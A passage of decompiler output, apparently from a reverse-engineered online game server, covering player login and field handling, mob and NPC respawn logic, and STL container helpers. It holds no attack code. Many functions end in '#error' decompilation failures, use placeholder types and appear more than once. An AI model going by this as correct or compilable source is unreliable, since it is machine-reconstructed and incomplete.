--funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"); } //----- (0042BF10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveField(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // edi@4 unsigned __int16 v4; // bp@5 unsigned __int16 v5; // cx@6 int v6; // eax@7 int v7; // esi@7 unsigned __int16 v8; // bx@7 bool v9; // cf@7 int v10; // eax@8 int v11; // eax@9 int v12; // eax@11 int v13; // eax@14 char v14; // cl@14 int v15; // eax@14 int v16; // eax@15 int v17; // eax@18 char *v18; // [sp-4h] [bp-24h]@2 std::_Tree,std::allocator,0> >::iterator v19; // [sp+Ch] [bp-14h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RemoveField"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RemoveField"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = *(std::_Tree,std::allocator,0> >::iterator *)((char *)v1 + 98); if ( *(_DWORD *)((char *)v1 + 98) ) { v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1304))(v1); if ( v2 ) { v3 = v2 + 3480; if ( v2 != -3480 ) { v4 = *(_WORD *)(*(_DWORD *)(v2 + 3488) + 12 * *(_WORD *)(v2 + 3494) + 4); while ( 1 ) { v5 = *(_WORD *)(v3 + 4); if ( v4 >= v5 ) break; v6 = *(_DWORD *)(v3 + 8); v7 = v4; v8 = v4; v9 = v4 < v5; v4 = *(_WORD *)(v6 + 12 * v4 + 4); if ( v9 && (v10 = v6 + 12 * v7, *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = **((_DWORD **)&unk_604F0C + 3 * *(_DWORD *)(v11 + 4)); if ( v12 && FieldMap::fm_IsRefuseAbstate(v19, *(_DWORD *)(v12 + 34)) ) { if ( v8 < *(_WORD *)(v3 + 4) && (v13 = *(_DWORD *)(v3 + 8), v14 = *(_BYTE *)(v13 + 12 * v7 + 8), v15 = v13 + 12 * v7, v14) ) v16 = *(_DWORD *)v15; else v16 = 0; *(_BYTE *)v16 |= 4u; if ( v8 < *(_WORD *)(v3 + 4) && (v17 = *(_DWORD *)(v3 + 8) + 12 * v7, *(_BYTE *)(v17 + 8)) ) *(_DWORD *)(*(_DWORD *)v17 + 24) = clockwatch.cw_CurrTick; else ::v18 = clockwatch.cw_CurrTick; } } } } v18 = "ShineObjectClass::ShinePlayer::sp_RemoveField"; } else { v18 = "ShineObjectClass::ShinePlayer::sp_RemoveField"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); } //----- (0042C090) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0042C0E0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0042C130) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0042C180) -------------------------------------------------------- #error "42C180: undefined or illegal type '#331' (funcsize=24)" //----- (0042C1D0) -------------------------------------------------------- #error "42C1D0: undefined or illegal type '#331' (funcsize=17)" //----- (0042C200) -------------------------------------------------------- #error "42C200: undefined or illegal type '#331' (funcsize=24)" //----- (0042C250) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LoginInit(void *this) { void *v1; // ebp@1 int v2; // edx@1 char v3; // al@1 ListIteratorDefault arg; // [sp+14h] [bp-14h]@1 char *v5; // [sp+18h] [bp-10h]@1 int v6; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LoginInit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LoginInit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v6 = 0; *((_BYTE *)v1 + 92120) = -1; (*(void (__thiscall **)(void *))(v2 + 984))(v1); *((_DWORD *)v1 + 23039) = 0; *((_DWORD *)v1 + 23040) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)v1 + 23043) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)v1 + 23042) = 0; *((_BYTE *)v1 + 66044) = 0; ShineObjectClass::ShinePlayer::sp_RideInitialize(v1); *(_DWORD *)((char *)v1 + 126) = 0; ShineObjectClass::ShinePlayer::PartyMemberInform::pmi_Clear((ShineObjectClass::ShinePlayer::PartyMemberInform *)((char *)v1 + 88948)); v3 = *((_BYTE *)v1 + 7416) & 0xE7; *((_DWORD *)v1 + 23044) = -1; *((_BYTE *)v1 + 7416) = v3; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v5 = (char *)v1 + 92192; LOBYTE(v6) = 1; List::l_4AllInList((List *)((char *)v1 + 92192), &arg); memcpy((char *)v1 + 65832, ¶meter_eraser_plus, 0xC4u); LOBYTE(v6) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)((char *)v1 + 92152)); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LoginInit"); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0042C390) -------------------------------------------------------- #error "42C390: undefined or illegal type '#331' (funcsize=47)" //----- (0042C450) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD(void *center, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // ST04_4@5 int v6; // eax@5 int v7; // ST04_4@5 int v8; // eax@5 char *v9; // [sp-4h] [bp-24h]@4 v4 = center; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S50_3 & 1) ) { _S50_3 |= 1u; cmc_9.cmc_AllowMode = 126; atexit(_E51_2); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_9.cmc_AllowMode ) { *((_BYTE *)v4 + 23324) &= 0xF7u; briefchar.bixc_Pointer->charnum = 0; v5 = *(_DWORD *)((char *)v4 + 78); v6 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v4, v6, v5, 0, 0, (int)ShineObjectClass::ShineObject::so_GatherPlayerInform, 0, 0, 0, 0, 65535); BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(&briefchar, (#331 *)v4); briefminihouse.bixmh_Pointer->minihouses = 0; v7 = *(_DWORD *)((char *)v4 + 78); v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v4, v8, v7, 0, 0, (int)ShineObjectClass::ShineObject::so_GatherMiniHouseInform, 0, 0, 0, 0, 65535); BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(&briefminihouse, (#331 *)v4); v9 = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"; } else { v9 = "ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); } //----- (0042C5E0) -------------------------------------------------------- #error "42C5E0: undefined or illegal type '#331' (funcsize=21)" //----- (0042C620) -------------------------------------------------------- int std::_Tree>_std::less_std::allocator>>>_0>>::find(...) { std::_Tree >,std::less,std::allocator > > > v3; // edx@1 std::_Tree >,std::less,std::allocator > > > v4; // eax@1 std::_Tree >,std::less,std::allocator > > > *v5; // eax@8 v3 = *((_DWORD *)this + 1); v4 = *(_DWORD *)(v3 + 4); while ( !*(_BYTE *)(v4 + 33) ) { if ( *(_WORD *)(v4 + 12) >= *_Keyval ) { v3 = v4; v4 = *(_DWORD *)v4; } else { v4 = *(_DWORD *)(v4 + 8); } } if ( v3 == *((_DWORD *)this + 1) || *_Keyval < *(_WORD *)(v3 + 12) ) { v5 = result; *result = *((_DWORD *)this + 1); } else { v5 = result; *result = v3; } return v5; } //----- (0042C690) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, Observer *_First, Observer *_Last) { Observer *i; // esi@1 for ( i = _First; i != _Last; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); } //----- (0042C6C0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 Observer *v6; // eax@2 Observer *v7; // edi@2 Observer *v8; // ebx@2 Observer *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::copy(*(Observer **)&_Last, v4->_Mylast, *(Observer **)&_First); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) i->baseclass_0.vfptr->__vecDelDtor((IObserver *)i, 0); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (0042C720) -------------------------------------------------------- Observer *__thiscall std::vector>::_Ufill(std::vector > *this, Observer *_Ptr, unsigned int _Count, Observer *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0042C750) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0042C7C0) -------------------------------------------------------- #error "42C7C0: undefined or illegal type '#331' (funcsize=199)" //----- (0042C9A0) -------------------------------------------------------- #error "42C9A0: undefined or illegal type '#331' (funcsize=237)" //----- (0042CC40) -------------------------------------------------------- #error "42CC40: undefined or illegal type '#331' (funcsize=57)" //----- (0042CCD0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Observer _Val) { Observer *v3; // esi@1 signed int v4; // edx@2 signed int v5; // edx@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } IObserver::_IObserver((ItemSmallBag *)&_Val); } //----- (0042CD80) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this) { #331 **v1; // esi@1 signed int v2; // edx@2 #331 **v3; // eax@6 #331 **v4; // [sp+8h] [bp+4h]@0 v1 = this->_Myfirst; if ( v1 ) v2 = this->_Mylast - v1; else v2 = 0; if ( v1 && v2 < this->_Myend - v1 ) { v3 = this->_Mylast; *v3 = *v4; this->_Mylast = v3 + 1; } else { std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, 1u); } } // 42CD80: inconsistent function type and number of purged bytes //----- (0042CDD0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { int (__thiscall **v2)(void *, char); // [sp-10h] [bp-14h]@1 int v3; // [sp-Ch] [bp-10h]@1 int v4; // [sp-8h] [bp-Ch]@1 int v5; // [sp-4h] [bp-8h]@1 int (__thiscall ***v6)(void *, char); // [sp+0h] [bp-4h]@1 v2 = &Observer::_vftable_; v3 = 0; v4 = 0; v5 = 0; v6 = &v2; std::vector>::resize(this, _Newsize, *(Observer *)&v2); } // 59C6C4: using guessed type int (__thiscall *Observer___vftable_)(void *p, char); //----- (0042CE00) -------------------------------------------------------- #error "42CE00: undefined or illegal type '#331' (funcsize=166)" //----- (0042D080) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_door_BuildComplete(ShineObjectClass::ShineDoor *this, unsigned __int16 handle) { ShineObjectClass::ShineDoor *v2; // esi@1 int v3; // edx@1 int v4; // eax@1 int v5; // eax@1 int v6; // eax@2 unsigned int v7; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_BuildComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineDoor::so_door_BuildComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&v2->gap0[3716]; *(_WORD *)&v2->gap0[102] = 0; *(_BYTE *)v3 = 1; v4 = *(_DWORD *)&v2->gap0[94]; v2->sd_Retrate = 0; *(_DWORD *)v4 = 0; *(_BYTE *)(*(_DWORD *)&v2->gap0[94] + 4) = 0; briefdoor.bixd_Pointer->doornum = 0; v5 = *(_DWORD *)&v2->gap0[98]; if ( v5 && (v6 = *(_DWORD *)(v5 + 16)) != 0 ) v7 = *(_DWORD *)(v6 + 68) * *(_DWORD *)(v6 + 68); else v7 = 0; sightsquar = v7; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); v2->gap0[7416] &= 0xFDu; *(_WORD *)&v2->gap0[102] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineDoor::so_door_BuildComplete"); } //----- (0042D180) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineEffectObject::so_effect_BlastComplete(ShineObjectClass::ShineEffectObject *this, unsigned __int16 handle) { ShineObjectClass::ShineEffectObject *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 unsigned int v5; // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **(_DWORD **)&v2->gap0[94] = 0; *(_BYTE *)(*(_DWORD *)&v2->gap0[94] + 4) = 0; briefeffect.bixe_Pointer->effectnum = 0; v3 = *(_DWORD *)&v2->gap0[98]; if ( v3 && (v4 = *(_DWORD *)(v3 + 16)) != 0 ) v5 = *(_DWORD *)(v4 + 68) * *(_DWORD *)(v4 + 68); else v5 = 0; sightsquar = v5; ShineObjectClass::ShineObject::so_AllInMap(v2, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_effect_BlastComplete"); } //----- (0042D260) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_RegenComplete(void *this, std::_Tree >,std::less,std::allocator > > > handle) { void *v2; // esi@1 int v3; // edx@1 bool v4; // zf@1 int v5; // edx@2 BriefInfoExchanger::BriefInfoExchangeAbstate *v6; // ecx@3 int v7; // eax@5 int v8; // eax@6 unsigned int v9; // eax@7 int v10; // ST04_4@9 int v11; // eax@9 MobTacticElement::MobActionBase *v12; // eax@14 int v13; // edx@16 int v14; // edx@18 int v15; // eax@18 int v16; // eax@18 unsigned int v17; // ecx@18 unsigned int v18; // edx@18 int v19; // ecx@18 unsigned __int16 **v20; // edx@18 unsigned __int16 v21; // ST24_2@18 MobAttackSequence::AttackElement4Mob *v22; // eax@18 const unsigned __int16 **v23; // ecx@18 int v24; // edx@21 int v25; // ecx@21 char v26; // al@21 int v27; // eax@21 int v28; // eax@22 unsigned int v29; // ecx@24 unsigned int v30; // edx@24 int v31; // eax@24 int v32; // ecx@26 char v33; // al@26 char *v34; // [sp+10h] [bp-28h]@9 ListIteratorDefault arg; // [sp+24h] [bp-14h]@2 char *v36; // [sp+28h] [bp-10h]@18 int v37; // [sp+34h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 1894); *((_WORD *)v2 + 51) = 0; *((_DWORD *)v2 + 2082) = 0; *((_WORD *)v2 + 3714) = 2; *((_DWORD *)v2 + 2105) = 0; v4 = *(_BYTE *)(*(_DWORD *)(v3 + 4) + 36) == 0; v37 = 0; if ( v4 ) { arg.vfptr = (ListIteratorDefaultVtbl *)"ShineObjectClass::ShineMob::so_mob_RegenComplete2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **(_DWORD **)((char *)v2 + 94) = 0; *(_BYTE *)(*(_DWORD *)((char *)v2 + 94) + 4) = 3; LOBYTE(v37) = 2; if ( unk_608488 ) (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, 288, 1, unk_608488, clockwatch.cw_CurrTick, 0, -1, 0, 3); v34 = "ShineObjectClass::ShineMob::so_mob_RegenComplete2"; } else { arg.vfptr = (ListIteratorDefaultVtbl *)"ShineObjectClass::ShineMob::so_mob_RegenComplete1"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete1"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_RegenComplete1"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **(_DWORD **)((char *)v2 + 94) = 0; *(_BYTE *)(*(_DWORD *)((char *)v2 + 94) + 4) = 0; v5 = *(_DWORD *)v2; LOBYTE(v37) = 1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(v5 + 1212))(v2) == 8 ) { briefchar.bixc_Pointer->charnum = 0; v6 = &briefabstate_char; } else { BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); v6 = &briefabstate_mob; } BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(v6); v7 = *(_DWORD *)((char *)v2 + 98); if ( v7 && (v8 = *(_DWORD *)(v7 + 16)) != 0 ) v9 = *(_DWORD *)(v8 + 68) * *(_DWORD *)(v8 + 68); else v9 = 0; sightsquar = v9; v10 = *(_DWORD *)((char *)v2 + 78); v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v2, v11, v10, 0, 0, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0, 65535); v34 = "ShineObjectClass::ShineMob::so_mob_RegenComplete1"; } --funcallanalizer.fca_stackpoint; LOBYTE(v37) = 0; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v34); v4 = (*((_BYTE *)v2 + 8892) & 1) == 0; *((_BYTE *)v2 + 7616) = 0; *((_WORD *)v2 + 3809) = -1; *((_DWORD *)v2 + 2105) = 0; if ( v4 ) { v12 = MobTacticElement::MobActionWander::maw_MetronomeReset((MobTacticElement::MobActionWander *)((char *)v2 + 8292)); } else { *((_BYTE *)v2 + 8893) = 0; v12 = (MobTacticElement::MobActionBase *)&MobTacticElement::MobActionArgument::Actor::roaming; } v13 = *((_DWORD *)v2 + 1894); *((_DWORD *)v2 + 2103) = v12; if ( *(_DWORD *)(*(_DWORD *)(v13 + 4) + 45) == 2 ) *((_DWORD *)v2 + 2103) = &MobTacticElement::MobActionArgument::Actor::nobrain; v14 = *((_DWORD *)v2 + 929); *((_WORD *)v2 + 3812) = handle; *((_DWORD *)v2 + 1907) = v2; *(_BYTE *)v14 = 2; Parameter::Container::c_clear((Parameter::Container *)((char *)v2 + 4008)); Parameter::Container::c_StoreMob( (Parameter::Container *)((char *)v2 + 4008), *((MobDataBox::MobDataBoxIndex **)v2 + 1894)); Parameter::Container::c_MakeTotal((Parameter::Container *)((char *)v2 + 4008)); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v36 = (char *)v2 + 8424; LOBYTE(v37) = 3; List::l_4AllInList((List *)v2 + 351, &arg); *((_DWORD *)v2 + 1000) = 0; *((_DWORD *)v2 + 4 * *((_DWORD *)v2 + 998) + 934) = 0; v15 = *((_DWORD *)v2 + 35); *((_DWORD *)v2 + 36) = 0; *((_DWORD *)v2 + 42) = 0; *((_DWORD *)v2 + 43) = 0; *((_DWORD *)v2 + 44) = 0; *((_DWORD *)v2 + 45) = 0; *((_DWORD *)v2 + 46) = 0; *((_DWORD *)v2 + 37) = 0; v16 = *(_DWORD *)(v15 + 78); *((_DWORD *)v2 + 40) = *(_DWORD *)v16; *((_DWORD *)v2 + 41) = *(_DWORD *)(v16 + 4); LOBYTE(v16) = *((_BYTE *)v2 + 8848); *((_BYTE *)v2 + 7416) &= 0xFEu; *((_WORD *)v2 + 51) = 0; *((_DWORD *)v2 + 1793) = 0; LOBYTE(v16) = v16 & 0xFB | 2; *((_BYTE *)v2 + 8848) = v16; v17 = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 931) = clockwatch.cw_CurrTick; v18 = v17; v19 = *(_DWORD *)((char *)v2 + 78); *((_DWORD *)v2 + 930) = v18; *((_DWORD *)v2 + 2208) = *(_DWORD *)v19; *((_DWORD *)v2 + 2209) = *(_DWORD *)(v19 + 4); *((_DWORD *)v2 + 2210) = *(_DWORD *)v19; v20 = (unsigned __int16 **)*((_DWORD *)v2 + 1894); *((_DWORD *)v2 + 2211) = *(_DWORD *)(v19 + 4); *((_BYTE *)v2 + 8848) = v16 & 0xF7; *((_BYTE *)v2 + 8852) = 0; v21 = **v20; LOBYTE(v37) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v22 = MobAttackSequence::mas_Find(&mobattseq, v21); v23 = (const unsigned __int16 **)*((_DWORD *)v2 + 1894); *((_DWORD *)v2 + 1901) = v22; *((_DWORD *)v2 + 1902) = 0; std::_Tree>_std::less_std::allocator>>>_0>>::find( &triggerDic, &handle, *v23); if ( handle == dword_13ED2E20 ) *((_DWORD *)v2 + 2226) = 0; else *((_DWORD *)v2 + 2226) = handle + 16; v24 = *(_DWORD *)v2; *((_WORD *)v2 + 65) = -1; *((_WORD *)v2 + 66) = -1; *((_BYTE *)v2 + 7164) = 0; *((_DWORD *)v2 + 1792) = 0; (*(void (__thiscall **)(void *))(v24 + 864))(v2); v25 = *((_DWORD *)v2 + 1001); v26 = *((_BYTE *)v2 + 8864) & 0xFB | 1; *((_DWORD *)v2 + 1132) = 0; *((_DWORD *)v2 + 2217) = 0; *((_DWORD *)v2 + 2218) = 60000; *((_BYTE *)v2 + 8864) = v26; *((_DWORD *)v2 + 1788) = (*(int (**)(void))(*(_DWORD *)v25 + 44))(); *((_BYTE *)v2 + 7157) = 0; *((_BYTE *)v2 + 7156) = 0; (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 2700))(v2, 65535); v27 = ***((_WORD ***)v2 + 1894); if ( v27 >= mobchatman.mcm_MaxMobHandle ) v28 = 1000000000; else v28 = (**(int (__thiscall ***)(MobChat::MobChatElementBase *))mobchatman.mcm_Wander[v27])(mobchatman.mcm_Wander[v27]); v29 = clockwatch.cw_CurrTick; v30 = (unsigned int)((unsigned int)(10 * v28) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6; *((_DWORD *)v2 + 1859) = v30; *((_DWORD *)v2 + 1858) = v29 + v30; v31 = *((_DWORD *)v2 + 2104); if ( v31 ) *(_DWORD *)(v31 + 76) = clockwatch.cw_CurrTick; v32 = *((_DWORD *)v2 + 2062); v33 = *((_BYTE *)v2 + 7416) & 0xE5; *(_DWORD *)((char *)v2 + 126) = 0; *((_BYTE *)v2 + 7416) = v33; *((_DWORD *)v2 + 2105) = 0; *((_WORD *)v2 + 51) = 0; (*(void (**)(void))(*(_DWORD *)v32 + 20))(); *((_BYTE *)v2 + 8848) |= 1u; *((_DWORD *)v2 + 2224) = 0; *((_DWORD *)v2 + 2225) = 0; --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_RegenComplete"); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 13ED2E20: using guessed type int dword_13ED2E20; //----- (0042D760) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_mob_RegenComplete(ShineObjectClass::ShineNPC *this, unsigned __int16 handle) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_RegenComplete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_mob_RegenComplete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMob::so_mob_RegenComplete( v2, (std::_Tree >,std::less,std::allocator > > >)handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_RegenComplete"); } //----- (0042D800) -------------------------------------------------------- #error "42D800: undefined or illegal type '#748' (funcsize=69)" //----- (0042D940) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD(void *sp, int netcmd, int len, __int16 handle) { int v4; // ebp@1 int v5; // edx@1 unsigned __int8 *v6; // eax@6 unsigned __int16 v7; // si@6 unsigned __int8 v8; // al@6 char v9; // al@10 int v10; // eax@13 int v11; // eax@17 int v12; // edx@17 int v13; // eax@17 int v14; // edx@17 int v15; // eax@17 int v16; // ecx@18 int v17; // esi@18 Name4 *v18; // eax@21 int v19; // ecx@23 int v20; // eax@27 int v21; // eax@29 List *v22; // eax@30 int v23; // eax@33 int v24; // eax@39 char v25; // al@39 signed int v26; // edi@39 unsigned int v27; // ecx@39 char v28; // dl@39 int v29; // eax@39 char *v30; // esi@39 int v31; // eax@39 int v32; // eax@39 int v33; // edx@39 int v34; // edx@39 char v35; // al@41 ZoneBaseSession *v36; // eax@42 signed __int16 